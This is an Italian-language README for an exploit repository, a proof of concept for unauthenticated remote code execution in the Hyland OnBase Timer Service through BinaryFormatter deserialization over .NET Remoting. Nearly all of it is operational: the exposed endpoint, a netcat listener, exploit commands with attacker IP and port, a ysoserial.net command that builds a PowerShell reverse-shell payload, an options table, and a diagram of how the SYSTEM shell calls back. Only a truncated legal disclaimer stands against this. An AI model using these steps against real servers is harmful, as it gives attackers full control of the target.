
Proof-of-concept exploit per l'esecuzione remota di codice non autenticata nel servizio Timer di Hyland OnBase tramite deserializzazione BinaryFormatter di .NET Remoting, che consente di ottenere privilegi SYSTEM.
Questo repository contiene un exploit Proof‑of‑Concept per la vulnerabilità di esecuzione remota di codice non autenticata nel Hyland OnBase Timer Service tramite deserializzazione insicura di .NET Remoting BinaryFormatter.
La vulnerabilità consente a un attaccante non autenticato di inviare un payload BinaryFormatter appositamente costruito all'endpoint del Timer Service ed eseguire codice arbitrario come NT AUTHORITY\SYSTEM.
Il Timer Service espone un endpoint .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
Il servizio accetta oggetti BinaryFormatter non autenticati. Fornendo una catena gadget dannosa (ysoserial.net), l'esecuzione arbitraria di comandi avviene durante la deserializzazione.
Installa la dipendenza Python:
pip install requests
Scarica ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
Lo script stampa un comando ysoserial. Eseguito in un altro terminale (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Premi INVIO nel terminale dell'exploit dopo la generazione del payload.
Se vulnerabile → la reverse shell si connette.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Opzione | Descrizione |
|---|---|
| target | IP o hostname del target |
| --port | Porta del Timer Service (default 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP dell'attaccante |
| --lport | Porta del listener |
| --gadget | Catena gadget ysoserial |
L'exploit è cieco
Successo = callback reverse shell
Il servizio gira come SYSTEM
Prova gadget alternativi se bloccato:
sequenceDiagram
participant A as Attacker
participant Y as ysoserial.net
participant T as Target OnBase Timer Service
participant S as SYSTEM Shell
A->>A: Start netcat listener
A->>Y: Generate BinaryFormatter payload
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Execute gadget chain
S-->>A: Reverse shell connection
Questo exploit è fornito per:
L'uso non autorizzato contro sistemi che non possiedi o per cui non hai il permesso di testare è illegale.